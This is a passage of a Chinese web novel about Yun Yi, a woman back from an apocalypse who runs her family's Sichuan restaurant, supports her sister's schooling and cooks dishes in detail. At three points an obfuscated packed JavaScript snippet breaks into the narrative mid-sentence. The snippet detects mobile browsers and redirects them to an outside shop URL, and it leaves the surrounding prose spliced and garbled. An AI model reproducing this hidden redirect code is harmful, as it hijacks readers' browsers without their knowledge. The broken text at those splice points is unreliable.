云葵:“……?” 这云漪啥时候跑步这么快了,跟后面有丧尸追似的。 “有话好好说,现在车来车往的,不要到处乱跑。” 原本陷在对她惊人移速的困惑中的云葵登时回过神,扬手甩开她:“你总是这样!” 她后退一步,和云漪保持着不远不近的距离。 “我只比你小五岁,能不能别总是把我当小孩子一样!”云漪垂着眼睑,嘴上在嘶吼,眼睛却不敢看她,“我很成熟了,不会乱跑被车撞,也知道我想做什么——我不要回去读书!” 云漪看着浑身紧绷的妹妹,一时竟也忘了喘气。 “妈妈帮你干活你不拦,姥姥出去卖菜你不拦,为什么就拦着我?你是不是觉得我很幼稚,做的事情都是一时冲动?” 云葵低着头,看不见云漪的表情,视野里只有她那双发黄的运动鞋一动不动。 不知怎的,云葵只觉得她像一只被扎了洞的气球,止不住地漏气。 “家里什么情况你又不是不知道,出去打工是我深思熟虑的结果,这两年你明明已经默许了,为什么又突然不顾我的意愿安排我的人生?” 云葵低声,“……我讨厌你这样。” “云葵,你一定要去读书。” “为什么?”云葵几近破音,“读书有什么用?学费是大风刮来的吗?以前你跟我说,只要好好读书就能看到天地辽阔,可是你好不容易考上名校,不还是回来这个又小又破的云记了吗?!” 她的尾音在街巷里久久回荡。 一阵微风袭来,吹散了禁锢着她的寂静。 云葵后知后觉,“……对不起。” 她刚才都说了些什么啊…… 云记是云家三代的心血,她怎么会说出这样难听刺耳的话…… 云漪微微张嘴,有一肚子的话不吐不快,却还是化作一声浅浅的叹息。 “云葵,你根本不是这样想的。” “你又这样摆出家长姿态,你怎么知道我——” “不然的话,”云漪伸手,隔着半米的距离轻轻拍了拍她的发顶,“你在委屈什么?” 指尖传来冰凉的触感,云葵强撑许久的眼皮忍不住跳了跳,这时她才发现,眼睛干干的、涩涩的,大颗泪珠让整个世界无限模糊。 为什么,她不是应该发怒吗? 为什么会觉得委屈? 云漪并没有靠近她,清冷的声音像小溪一样缓缓流淌:“我从来没有把你当成小孩子,甚至,你比我勇敢坚强得多。你不记得了么,以前罗富半夜喝醉来敲门,还是你挡在最前面拿报警电话吓跑他的,我们都要躲在你的身后。” “妈妈、姥姥和我的选择或许让你有些不理解,但你应该知道,妈妈有多在乎云记,姥姥有多喜欢种地。而我——云葵,可能这么说很奇怪,但我已经看过世界的尽头是什么样子,我确信——这里就是我的天地辽阔。” 云葵使劲眨了眨滚烫的眼睛,呆呆地望着她。 记忆中,姐姐是一个很安静的人,从来不会说这样多的话。 以前她还能大言不惭地说出“你只比我大五岁”这种话,可这次回来之后,她竟然觉得云漪已经将她远远甩在身后了。 好奇怪啊,明明以前的姐姐也很成熟,可她就是只想对现在的姐姐发脾气。 就好像、好像…… 连只大她五岁的姐姐都在大步向前,而她还留在原地。 凭什么只有她什么都做不到? 凭什么她只能听话? 好委屈。 云漪摸了摸裤子口袋,里面依然是那张十年不变的全家福。 她说:“小葵,我不想安排你的人生,只想给你另一种选择。” 穿进末世前,云葵就已经在文具店打了很久的工了。 空了放假回家,云葵都把一千二百块全部交给云秀珠,再领五块钱去小卖部买一包大刀肉和拖肥。 每次一去,就是很久。 一次深冬,天黑得早,云漪怕她出事,套上厚重的棉衣出门找她。 小卖部里没有,小公园里没有,游乐场里也没有。 倒是在街口的书店找见了她。 隆冬时节,店里开着28度的空调,细细的一条云葵却立在门外。货架里堆满了泛黄的旧书,她缩着脖子,手指冻得像通红的胡萝卜,一页一页地翻开《绿山墙的安妮》,时不时憨笑。 那时的云漪没有叫住她,独自回到家后云秀珠问起,她也只是说,妹妹还在外面玩。 她不是想替云葵隐瞒,这本来就不是什么见不得人的事。 她只是……害怕承认。 假如云葵是一个不学无术的混子、是一个胸无点墨的笨蛋、是一个任意妄为的熊孩子,她都不会害怕。 可偏偏,她的妹妹云葵聪明、机灵、知书达理。 这样一个小女孩却早早辍学,终日埋没在叫卖里,连在温暖的教室里阅读一本崭新的书都做不到。 那时的云漪根本不敢面对。 如果她当年没有去市里读中学,家里是能够留下钱来支撑妹妹念书的。 她胆小怯懦,不敢找罗富要钱,不敢豁出去赚钱,也不敢当面问云葵一句,你是不是想读书。 她怕云葵说想,却无能为力。 但更怕云葵说不想,因为云葵的撒谎技术很差,藏不住失落和勉强。 还好,云漪从末世回来了。 什么愧疚,什么恐惧,什么阴暗的、不值一提的、上不得台面的私心……都不算什么了。 这个世界上,没有什么比一家人好好活着更重要了。 云漪依然是淡淡的、耐心的:“我买了一些书,有小说有散文也有教辅资料,这几天休息的时候你可以看看。” 顿了顿,“都是崭新的。” “我会继续联系学校,但也会尊重你的选择,如果你真的想清楚了,我保证不再拦你。” 云葵嗫嚅:“可是我……” “另外,我必须要纠正你一点——学费虽然不是大风刮来的,”云漪微笑,眨眨眼睛,“但是我这周赚了近三万。” “那也——啊?” 云葵终于肯抬起头,以一种极其扭曲的神态望着她:“多、多少?!” “你没听错。” “……” “所以小葵,”云漪摊手,“你的选择,我们承担得起。” 云葵不说话了。 她紧抿着嘴唇,目光躲闪着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958380|193236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸颊比刚才还红了一倍不止。 云漪见她可爱,忍不住想笑,但还是强行压下嘴角:“好了,我回店里继续忙,你再想想吧。” 云漪施施然转身,还没走几步,衣摆就被轻轻拽住。 蚊蝇般的声音弱弱飘出:“姐,那些书……在哪里呀?” 云漪背对着她,浅浅一笑:“房间,书柜上。” “我可以带去小公园里看吗?” “那是你的书,你决定。” “我真的可以去上外国语附中吗?” “可以,不过有一个任务要交给你。” 云葵噎了噎:“……啊?” “我会跟大姨说,以后你就不再去文具店帮忙了。从明天起,你就留在这边预习高一的内容,附中有入学测试,你如果考砸了,我也帮不了你。” 云葵不自觉笑出了牙龈。 这叫什么任务,她分明就是弥补了曾经错过的那个初三暑假而已。 云葵雀跃:“好!保证二十四小时好好学习!” 听见这话,云漪忽然转身。 她捏着下巴,一副认真思索的模样:“不行,不能二十四小时。” “哎呀我知道,劳逸结合嘛——” “你每天午饭和晚饭时间要来云记帮我算账,没有工资的那种。” 云葵:“……” 云葵:“云漪你根本就是想要一个免费苦力!!” 晚风习习,吹过窄窄的长平东路。 云葵轻轻一跃,双手勒着云漪的脖子往前蹦。 不远处,云记门口两颗人头正虚着眼睛往外瞅。 “阿姨,你这俩女儿不会是打起来了吧?” “小孔啊,你这说得我也有点担心了……” 直到看见云漪云葵说说笑笑地出现在眼前,二人才松了一口气。 刚才被云葵吓了一跳,孔喆只敢悄悄戳了戳云漪:“老板姐姐,所以你妹妹还上学吗?” “唉,我也不知道……” “上!”云葵急了,连忙抢过话头,“怎么不上!” 态度之坚定,就连云秀珠都被吓了一跳。 孔喆拍拍胸脯:“那就好那就好,不枉我顶着我妈的压力帮你们问了。” 云漪重新系上围裙:“想吃什么,我给你做。” “不用不用,我在食堂刨了两口的。”一股香甜的味道复又钻入鼻腔,孔喆突然问,“不过……这个红糖凉糕卖吗?” 云漪:“……” 她怎么做什么都有人想买。 看见云漪为难的脸色,孔喆心领神会,失望都写在了脸上。 “啊。”云漪忽然想起了什么,“你等我一下。” 片刻,她从厨房里取出一份冰冰凉凉的饮品。 白绿交融,像白雪皑皑的冰山上洒满了翡翠,晶莹的冰碴散落其间。 她递给孔喆:“明天起供应的免费畅饮新品,牛乳绿豆冰,给你抢先体验。” 这杯牛乳绿豆冰,不像冰淇淋那样浓烈,倒像是幼时井水里冰镇过的西瓜一样,清清淡淡,却能一路凉到心里。 一口下去,像咬碎了整个夏天的暑气一般。 新品啊…… 孔喆感叹,虽然失去了白玉油柑,但牛乳绿豆冰也很好喝…… 突然间,孔喆掏出手机:“对了,老板姐姐,你知道你上了我们地区的热搜吗?” 17. 钵钵鸡 热搜? 云漪不怎么接触社交平台,只从大学室友口中听见过这些词,似乎热搜上经常会出现一些明星新闻和时事热点。 但是……这跟她有什么关系? “你忘啦?上次你让我朋友录了白玉油柑的制作过程,他回家把视频发到小红书上,没两天就上德市热搜了。” 孔喆把手机推了过去,“喏。” 一条标题为《夏日特调白玉油柑秘方被我搞到手了!!》的视频播放着,右下角的小心心点赞已经超过两万。 评论区更是看花了眼: 【momo:我以身试毒过了!这个配方可以冲!实测真的超级无敌清爽好喝!已登顶本人夏日饮品top1!】 【我推冰淇淋红茶:我真服了,怎么想到用油柑这么难吃的水果做这么好喝的饮品的……】 【芋泥啵啵:虽然但是,我在乡下长大的,从小就吃路边的野油柑,很多人吃不来而已。】 【纯情蟑螂火辣辣:急死我了你们怎么都吃过油柑,那到底是个啥味啊[愤怒]我们被吐槽美食荒漠就算了怎么连水果也不齐全啊】 【宋木木:老师,我们家人参果也可以报名参加难吃水果改造计划吗[大哭]】 【白菜大虾:这个女生动作好利落啊声音也好清脆】 【德市外国语附中学生会:这是我们学校附近云记小饭馆的老板!她家白玉油柑真的仙品,而且免费畅饮(但是不能喝多,我曾经窜了一整节晚自习的稀……)】 【momo(考研版):?这是哪位学妹学弟忘切号了】 【不吃香菜:有好喝的就算了,还是免费的,眼角流下柠檬泪QAQ】 第一次围观这么热闹的评论区,话题中心竟然还是自己,云漪有一种不切实际的感觉,一点点往下翻。 孔喆看起来比正主还激动:“好多人在跟着复刻!我妈说这两天油柑都买不到了!” ……买油柑? 啊,云漪算是明白了。 原来姥姥的油柑生意突然爆棚,是因为这一条视频啊。 “而且啊,评论区好多人说周末要来云记尝尝!”孔喆兴奋得蹦蹦跳跳,“老板姐姐,你要火了!” “……”云漪面露难色,“孔喆,你是不是忘了,云记已经不供应白玉油柑了。” 孔喆:“……” 坏了,他怎么一上头把这事儿忘了,明明手里还拿着新品牛乳绿豆冰。 云漪认认真真说:“虽然我很欢迎更多人来云记,但还是麻烦你同学帮忙提一句白玉油柑已经下架了,免得大家白跑一趟。” “可是……就不能再重新上架吗?” “我也懒得换,只是你也看见了,油柑不好买。六月也不是最茂盛的果期,头茬果快摘完了。如果可以的话,帮我宣传一下别的就好。” “好吧……” 孔喆有些遗憾,这么好的爆火机会…… 大家要是都为了白玉油柑来云记,就都能尝到老板做的菜,那店里生意肯定会更好。 牛乳绿豆冰虽然也很美味,但毕竟不是老板的独家秘方…… 人啊,追到好看的剧、听到动人的歌、吃到美味的菜,想要向全世界安利的欲望就会达到顶峰。 孔喆苦着一张脸,准备收起手机回去晚自习。 然而,一双灼热的目光死死盯着他……的手机屏幕。 “……老板妹妹,你有啥事?” “这是什么上面的视频啊?” “啊?你是问APP吗?”孔喆挠挠头,“小红书啊,你不知道吗?” 云葵摇头:“不知道,我没有手机。” 孔喆瞪眼:“你这么大了还没有手机?” 不等云漪解释,云葵就叉起腰,一副理直气壮的模样:“那咋了?我天天看书打工忙得很,就算有手机也没空玩。” 孔喆猛然闭嘴。 他这时才想起老板家的处境,肯定是没有钱买手机,结果他还脱口而出这么没有情商的问题。 呜呜呜他有罪! 就让他下周再吃六天云记来赎罪吧! 孔喆双手合十:“不好意思哈,我不是故意揭你伤疤的……我先走了,改天见!” 说罢,他灰溜溜地窜出去了。 “……?”云葵一脸莫名其妙,“我什么伤疤?” 她每天不是在打工就是在看书,本来就没空看手机啊?之前妈妈说要给她买一个,她以耽误学习为由拒绝了啊? 看懂一切的云漪扶额苦笑。 不过,也是时候给云葵置办一款手机了。 这几天接待附中学生的时候,云漪就没少注意,她们都会用手机搜题做题、查找资料,这对于落后两年进度的云葵来说很有必要。 云漪把这件事情放在了心上。 - 星期天,云漪给自己放了一个下午假。 附中学生都回家去了,留在学校的住校生大多都是条件相对艰苦的郊县生,也不会随随便便来云记搓一顿。 因此,今天云漪终于可以休息一下。 她曲起食指,敲了敲家里唯一一张书桌:“云葵同学,能不能别磨蹭?” “马上马上,最后一页了!” 一分钟后,云葵终于合上书页,跑到门口穿鞋:“罗杰疑案好好看啊姐,好多细节,还会冷不丁梆梆幽我一默……”嘴上说个不停。 “光看小说啦?” “教辅资料也看了,物理有点不好理解,我想下周去书店看看有没有讲得更简单的。” “不用那么麻烦。” 云漪揣上四个钢镚,二人坐上公交,在附近最繁华的商业街下了车。 她对着导航大致确定一下方向,带着云葵直奔商场,在一家国产手机旗舰店前停了下来。 店员热情接待:“欢迎光临,二位想看什么样的手机呢?” 云漪一台台扫过去:“续航长、屏幕护眼,适合高中生用的。” 云葵:“我、我吗?” “你不是说物理理解不了?现在有好多网课,听真正的老师讲总比你自己摸索快。” 原本还想拒绝的云葵失去力气。 因为高中物理真的和初中差好多,她搞不懂TAT 最后,在店员的极力推销和云葵的坚决抵抗双重夹击下,云漪定下了一款千元机。 嘴皮子都磨破的店员一边帮忙激活,一边苦笑。 别人家小孩来买手机,都是哭着闹着要最新款,要拍照好看的、要能打游戏的,这个小妹妹倒好,张口就是“来个最便宜的”“凑合凑合得了”。 云漪拎着盒子,四下张望一番。 她指着不远处一家德市小吃店, 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下单不过几分钟,她们点的东西就上齐了。 一份红油钵钵鸡,一盘三丝春卷,一碗糍粑冰粉。 云葵摆弄着新手机,庄严肃穆地留下她人生中第一张美食开光照。 她忍不住感叹:“姐,你有钱之后变得太挥霍了。” 话是这么说,饭也是一口都不能少吃。 云葵拣了一串最爱的花菜,径直送入口中——“呸呸呸!” 云葵吐了出来,对着盘里的花菜进行一番细致尸检,难以置信:“怎么这么难吃啊?” 云漪不信邪,也撸下一串牛肉。 钵钵鸡的做法十分简单,选好的串串烫熟后浸入冰凉的红油里沐浴,既能吃到鲜嫩的食材又能尝到香辣的汤汁。 可这盆钵钵鸡,花菜蔫巴,鸡胗难嚼,牛肉又嫩滑得诡异,不仅品质差,还是放了不知道多久的冻品,科技也没少加。 这也就罢了。 可是作为钵钵鸡的灵魂,这盆红油竟然寡淡得像清水一样——空有辛辣沾在嘴皮上,吃得又红又肿,却一丝香味也没有。 再配上劣质食材,整盆钵钵鸡透出一股恶心的腥味。 三丝春卷的皮一碰就破,糍粑冰粉是用预制粉勾兑的,上面的水果更是一股不耐炎热的酸味…… 云漪吃得怀疑人生,不得不再次回头,确认门口排长队的的确是活人。 钱已经花出去了,云家向来主张粒粒皆辛苦,二人愣是一言不发吃完了。 从来没想到网红店能这么难吃。 离了家,发现外面下的都是冰雹。 “姐……”云葵吃得面色苍白,“我肚子有点疼,去趟卫生间。” 烈日当头,云漪找了一个阴凉处等。 旁边正好有一家奶茶店,云漪想,一会儿给小葵买杯喝的压一压吧。 她正想走过去看看现在的奶茶店里都卖些什么花里胡哨的东西,就听见两个学生模样的女生大声喊到:“你好,我们要两杯白玉油柑!” “两杯一共56元。” 云漪:“……” 28元一杯,是索马里生意不行所以海盗都跑来开奶茶店抢劫了吗? 18. 鱼香肉丝和火爆双脆 而且……白玉油柑? 是她分享配方的那款白玉油柑吗? 云漪闲着也是闲着,索性走进那家名为“赵小茶”的奶茶店。 赵小茶似乎是发于德市北区的本土品牌,光这一条繁华的商业街就看见了两家,可云漪在外省读大学的时候倒是未曾耳闻,大概还没能走出去。 云漪还从来没有喝过奶茶,唯一喝过的,只有小时候路边卖的五颜六色的奶茶,都是用粉末勾兑出来的。 因此,在她看清价目牌的时候,心头闪过一丝惊恐。 ……是全球通货膨胀忘记通知她了吗? 苦瓜柠檬茶15元,黑糖啵啵珍珠奶茶20元,桂花豆乳米麻薯22元…… 而头顶海报上的新品,更是价格高达28元的白玉油柑。 云漪在脑海里预想了一番奶茶的味道和原料,怎么也给不出一个合理性。 就比如白玉油柑,按照春华给出的价格,一斤油柑不到5元,算上栖霞苹果、冰糖、饮料杯等各种成本,一杯500ml白玉油柑的成本顶破天了也就3元钱。 怎么卖到28元的? 或许,这家店的白玉油柑有什么独到之处? 云漪忍不住开口:“你好,请问白玉油柑用的是本地油柑吗?” “是每天从海省空运来的油柑。” “那是纯油柑汁么,有其他水果吗?” “还有爱妃苹果。” 爱妃苹果算是贵族苹果之一了,零售价格大多在30元一斤,批发也不算便宜,再加上空运油柑的费用,成本的确高昂。 店员狐疑地看她一眼:“女士,您问这个是……” “哦,”云漪小脑瓜子一转,“我过敏体质,很多水果吃不了,所以问问。” “原来如此,那您需要点一杯吗?” “不用了谢谢。” 云葵开玩笑说她挥霍,不代表她真的什么冤枉钱都愿意花。 碰巧云葵也揉着肚子回来,有气无力:“姐,你去那边干嘛了?” “了解一下行情,走吧,回家。” 说着,二人往公交站走去。 这时,一个大腹便便的男人走进赵小茶,放下手里的一卷海报,努嘴指向云漪的背影:“我看她问了你半天,干嘛的?” “就是个普通的客人,水果过敏所以多问了几句。”赵琪默了默,畏缩着开口,“爸,我觉得这样不太好。” 赵权深吸一口,掐掉手中的香烟。 他撕下头顶的白玉油柑海报,顺手在上面摁灭烟头火星。又摊开那卷新制作的海报,在同样的位置贴了上去。 赵琪探头瞧。 原本平平无奇的海报,变成了冲击力满满的商品图,还配了几个一看就价值不菲的词——海省空运,最佳口感,果中贵族,极品爱妃。 赵权啧嘴,看着女儿一脸厌烦:“你会做生意还是我会做生意?” 赵琪:“……” “现在奶茶店这么卷,你不搞点花的,别人凭什么买你的?” “今天来的客人都说贵得太离谱了……” “贵怎么了,你告诉我,他们买了没有?” “买了……” “那不就得了,我们愿意卖他们愿意买,这是正常的交易,工商局来了都管不到我!” “可是……” “好了!老子咋个生了你这么胆小的女儿!”赵权重新点燃一根烟,在她面前吞云吐雾,“本来还想等规模扩大了让你当地区经理帮我分担,现在看来……你在这家店再磨炼两年吧。” 赵琪脸颊涨红,扣着手背不敢说话。 赵权看她这副唯唯诺诺的样子就烦,抓起海报摆手:“我去拿给分店。哦对,晚上搞建材的罗叔叔请吃饭,你穿好看点,新店装修还要找他帮忙。” 赵琪埋着头,圆珠笔在大理石台面上戳来戳去,留下一个擦不掉的黑点。 - 晚饭的时候,方媛媛又来了。 她打断云漪马上脱口而出的话,一脸傲娇:“我今天可不是冲着吃饭来的,是给你带周三宴请的菜单的。” “喔,所以你吃吗?” “……吃。” 方媛媛扼腕叹息。 在云漪的厨艺面前,她的抵抗毫无杀伤力。 云漪接过菜单。 方媛媛早早就联系宾客询问过,再把信息汇总给云秀珠,由云秀珠定下最终的宴请菜单。 她看了一眼,这几位市里来的口味倒挺地道,没什么大忌口,爱吃的都是老川味。 在心里大致盘算了一番,云漪抬头,才发现方媛媛竟然还没有点菜。 云漪忽然福至心灵:“媛媛姐,这些东西你明明可以直接微信发我的,你特意给我送过来是想……” “哎呀,你也知道我只是一个小小志愿者,周三的宴请肯定没我的份嘛。” “然后呢?” “所以我就想,”方媛媛指着菜单,一副狡黠的模样,“我这几天,可不可以点上面的菜呀?” 云记虽然目前只有二十来道菜,但云漪的手艺可不仅仅局限于这些。 要知道,这些市里来的爱吃的都是经典中的经典,大半都是云记菜单上没有的。 要是让她尝一口,她的一些,比如说她的品德她的性格甚至是灵魂都会得到升华。 方媛媛竖起两根指头:“该收多少你收多少,加一点价也没关系!” 毕竟她孤身一人在德市,也没机会搞一场宴请,不知道何年何月才能品一品这些大菜TAT 云漪托着下巴,认真思考。 其实,也未尝不可。 这是她接手云记之后的第一次宴请,虽然规模不大,但也是里程碑了。 从小到大,云记每次接到宴席都会提前准备很久,从菜单拟定到食材挑选再到宴席试菜,每一环都缺一不可。 就当是试菜了。 云漪想了想今天刚从储藏室取出来的坛子,果断决定:“好,那今天给你做鱼香肉丝和火爆双脆。” 这两道菜的食材简单,手边就有现成的。 云漪躬身搬出一个巨大的酸菜坛,刚一开坛,浓郁通透的酸辣味就钻入鼻腔。 川省人生来就自带泡菜的技能,云秀珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977425|193236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不例外。 哪怕日子拮据,开年时她也没忘记收上一兜小米椒,封入白酒和香料之中,随着时间发酵出让人舌底生津的美味。 而现在,正是泡椒最香的时候。 云漪捻出一把泡椒,锋利菜刀置于木案上,一手握刀柄,一手压刀背,高低起伏间将泡椒碾成碎末。 擦干刀刃,再取青笋和木耳,刀起刀落,先成透光见影的片,再成均匀细密的丝。 配菜码好,云漪换上生食刀,将里脊切成丝。又刮去黄喉和鸭胗上的油膜,干脆利落地改成花刀,最后切片,稍稍腌制。 一切准备就绪,起锅烧油。 灶火轰然蹿起,响起一声猛火遇油的噼里啪啦,正在唠嗑的方媛媛和云葵都吓了一跳。 短短十八秒后,滋啦声停止了。 取而代之的,是一股勾人魂魄的香气,微微呛鼻,却使人胃口大开。 片刻后,云漪端着两盘菜在桌前坐下。 她做的量比平常一份要大一些,分了一小碗给自己,方便判断味道,因此也没有多收方媛媛钱。 方媛媛早被味道馋得口水直流,拿起筷子就是一口火爆双脆—— 香!辣!脆!爽! 米白的黄喉和赭红的鸭胗在滚油翻炒下蜷起了身子,细密花刀缩成一团,盘里像铺满了麦穗和团簇。 一口下去,牙齿在滚烫的跳跃间咬住滑嫩的黄喉,脆生的口感被烈火爆炒牢牢锁住,不是僵硬生涩的脆,而是一种充满弹性的、咯吱作响的抵抗。 那股酸鲜泼辣的香味,被泡椒激发得淋漓尽致,像一根看不见的钩子,一直拽到人的胃里。 火爆双脆辣得方媛媛额角冒汗,她豪饮一口牛乳绿豆冰压了压,把魔爪伸向旁边的鱼香肉丝。 川菜的辣最为出名,可川菜味型之丰富,绝不是一个简简单单的“辣”就能囊括的。 鱼香就是另一种经典味型。 鱼香这一味型,是源于川省一户人家用烧鱼剩下的调料将就,误打误撞烹饪出与烧鱼风味相似的佳肴。 老婆饼里没老婆,鱼香肉丝没有鱼。 可方媛媛一筷下去,却仿佛真的吃出了鱼的味道。 细细的猪肉丝酸甜入味,油亮的薄芡一丝不苟地裹着,点缀着葱花。咬下一口,鲜嫩的肉丝化开,弹韧的木耳和清脆的青笋相继涌出,咔嚓一声。咸、甜、酸、辣,丰富的味道像约好了似的穿梭在唇舌间,谁也不压谁,原本呛人的泡椒在这道菜里竟然显得无比柔和。回味之间,还有一丝鱼的鲜香漫延出来。 方媛媛一点形象也不顾了,用筷子刨了小半盘鱼香肉丝进碗里,和米饭搅成粘稠的拌饭,一口下去别提多满足了。 “涌一,肿么则么好次啊!”方媛媛满口都是拌饭,话都说不利索了。 她这辈子没吃过这么好吃的鱼香肉丝! 以前吃的那些哪叫鱼香啊,顶多算是个酸甜肉丝! 原本以为这味型就是个噱头,可吃了云漪的手艺她才知道,真正的鱼香根本不是挂个名,闭上眼睛细细品味,就连味觉神经也会一时恍惚——刚才吃的,究竟是肉丝还是烧鱼? 19. 叶儿粑 这顿晚饭越吃越香,方媛媛一口爽辣的火爆双脆,一口酸甜的鱼香肉丝,再配一杯冰凉的牛乳绿豆冰,天灵盖都快掀翻了。 她嘶哈嘶哈地往嘴里刨饭,看得云葵都忍不住咽口水。 云漪把留给自己的那一小碗推到云葵面前。 碗里只有拳头大小的一坨菜,云葵双手捧筷,极为珍重。 云葵:“唔!” 味道太正了,简直比妈妈做得还要香! 云漪也尝了一口。 不得不说,川菜二十四味型,鱼香是最特别的。 而它的喜人之处,离不开川人用半辈子摸索出来的泡椒之道。 云漪虽然厨艺非凡,但在泡菜这些方面却没什么经验。 毕竟在末世,白酒是一种很珍贵的稀缺资源,她不可能拿大桶大桶的白酒来腌菜。 云秀珠的这几坛泡菜真是救了她大命。 不仅如此,回乡下老家的时候,云秀珠还会自己炸料油、磨吊浆面、熬手工红糖……从小到大,云秀珠的饭菜让两姐妹对外面的吃食食之无味,很大一部分是因为这些。 等她下次做泡菜的时候,云漪指定要跟着观摩学习一番。 方媛媛大快朵颐了一番,一如既往吃得肚皮圆滚滚的。 她打着饱嗝,举手发誓:“等毕业典礼那天,我一定要喊家里人都来德市,然后在你这儿定一桌大餐!” “行呀,到时候我把看家本领都拿出来。” “那最好了!就怕到时候云记已经火得订不到位置了!” “哪有这么夸张?” 方媛媛一脸认真:“我听说德市接下来要往北三环发展,到时候这边人多了,云记肯定也水涨船高了。” 这个说法已经传了好几年了。 如果是真的,那长平这个完善的社区的确会受到重视,要是能把握住这个机会,不愁云记没生意。 不过以后的事情谁也说不准。 云漪转身忙去了,留下方媛媛继续瘫着休息。 方媛媛伸了个懒腰,朝云葵招招手:“小葵妹妹,算账。” 云葵按照姐姐定的价算好,把二维码递过去,滴滴一声后听见付款到账。 方媛媛单手滑动屏幕,一不小心滑进最近使用的APP,视频自动播放——“油柑一定要砸透,才能把涩味都泡出来……”俨然是白玉油柑的制作视频。 云葵:“……” 方媛媛:“嘿嘿,今天刚刷到,我又是点赞又是转发的,还在评论区激情安利云记呢。” 云葵收完钱,却捏着二维码一动不动。 她忽然问:“媛媛姐,你们现在都用哪些软件玩?” 方媛媛被问得没头没脑,一番解释才明白,在她新买的手机里帮忙下载了抖音微博小红书等APP。 方媛媛连忙发布免责声明:“听云漪说你马上要读高一,学习最重要,这些APP消遣消遣可以,可别沉迷啊。要是因为玩手机耽误了学习,可不能怪我。” 云葵摇头,坚定表示不会。 她注册了账号,顶着一串默认数字开始摸索软件。 首页全是眼花缭乱的帖子,有情感疗愈,有美妆穿搭,可云葵一眼就喜欢上了那些没什么含金量的生活分享。 一桌乌烟瘴气的菜,一条丧尽天良的狗,甚至一张牛头不对马嘴的聊天截图……就连小猫认纸巾和萝卜她都能看好几遍,笑得傻乎乎的。 以前在文具店打工,她总能看见小学生举着小天才或者手机拍各种各样的照片,稚声稚气地炫耀:“我每天都发集卡视频,现在可是大网红了,有五十个粉丝呢!”收获一片羡慕的声音。 那时的她还无法理解。 现在她悟了,分享欲本身就是一件很珍贵的东西。 云葵想了想,点开发布帖子。 选择今天吃的宇宙超绝无敌难吃钵钵鸡和小吃的照片,配文:难吃。 点击发送。 再选择下午拍摄的云漪牌红糖凉糕的照片,配文:好吃。 再点击发送。 就这样,云葵连发了好几条帖子,心满意足地退出——她好像真的成为了一个再寻常不过的高中生。 打烊后,云漪敲了敲桌面:“云葵同学,回家了。” 云葵从化学网课和笔记里抬起头,收拾好书包。 “姐,”回家路上,云葵蹦蹦跳跳的,“明天我早上就来云记帮你吧。” “你又在想什么鬼点子?” “哎呀没有!这不是妈妈糖尿病姥姥又有点高血压,她们吃得都清淡嘛,我想……吃点好的!” 云漪:“……” 这下好了,不仅要开门做生意,还得管妹妹的三餐了。 能者多劳啊,能者多劳。 “也行,你明天九点来吧,正好我上午要换油烟机,我去备菜,你来帮我看着。”云漪顿了顿,“备完菜看看剩了什么边角料,我拿来给你做早餐。” “……云漪你是人吗!” 虽然嘴上这么说,但云漪还是不舍得让妹妹吃边角料的。 早上备菜途中,云漪顺带做了两份馅料。 一份咸馅,由三七肥的猪肉末和芽菜、冬菇、姜末加上调味,下锅炒干水分;一份甜馅,生猪油裹住黑芝麻粉和花生碎,添上少许白糖,揉搓成圆球。 等云葵发微信报告“小的起床了”,云漪便用糯米和粘米混合的面皮包住馅料,捏成圆滚滚的一团,再披上一层玉米叶。 她一共做了二十个,想着吃不完就让她带回去当明天的早餐。 免得又吃养生餐受罪。 周一的早上,处处都是早餐的香气。 茶叶蛋、阳春面、煎饼果子…… 李进开着面包车驶入长平东路时,却闻到一股清香,像是什么叶子的味道。 他晃晃头,开车呢怎么想东想西的! 他的目的地是云记小饭馆。 昨天接到云漪的电话,李进差点没乐得跳起来——倒不是因为做了一单多大的生意,而是因为他的眼光很准。 他早就说了,年轻莽撞的大学生创业不会有好下场。 你瞧,这才过了一周,不就联系他上门回收了么? 李进今天特意开了一辆空间更大的面包车,他上次送货时就注意到了,这家店里的厨房设备应该不少。 大学生一般都好说话,他稍微糊弄两句就能拿到低价。 今天可得大赚一笔! 面包车离云记越近,刚才那股清香就越来越浓郁。 李进刚下车, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983756|193236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就看见上次见过的小姑娘正把一叠蒸笼层层摆开。 这是……叶儿粑? 玉米叶的清香混着米皮的甜香扑鼻而来,仿佛童年的夏日,大字躺在老家的凉席上闻到的味道。 李进的目光忍不住落到腾腾热气之中,刚出笼的叶儿粑雪白柔软,表面微微泛着湿润。黄澄澄的玉米叶随意裹住圆滚滚的团子,拉扯出细腻的丝。 这看起来也太有食欲了…… 李进没忍住吞了口唾沫。 云漪朝他打招呼:“李老板,你来这么早。” 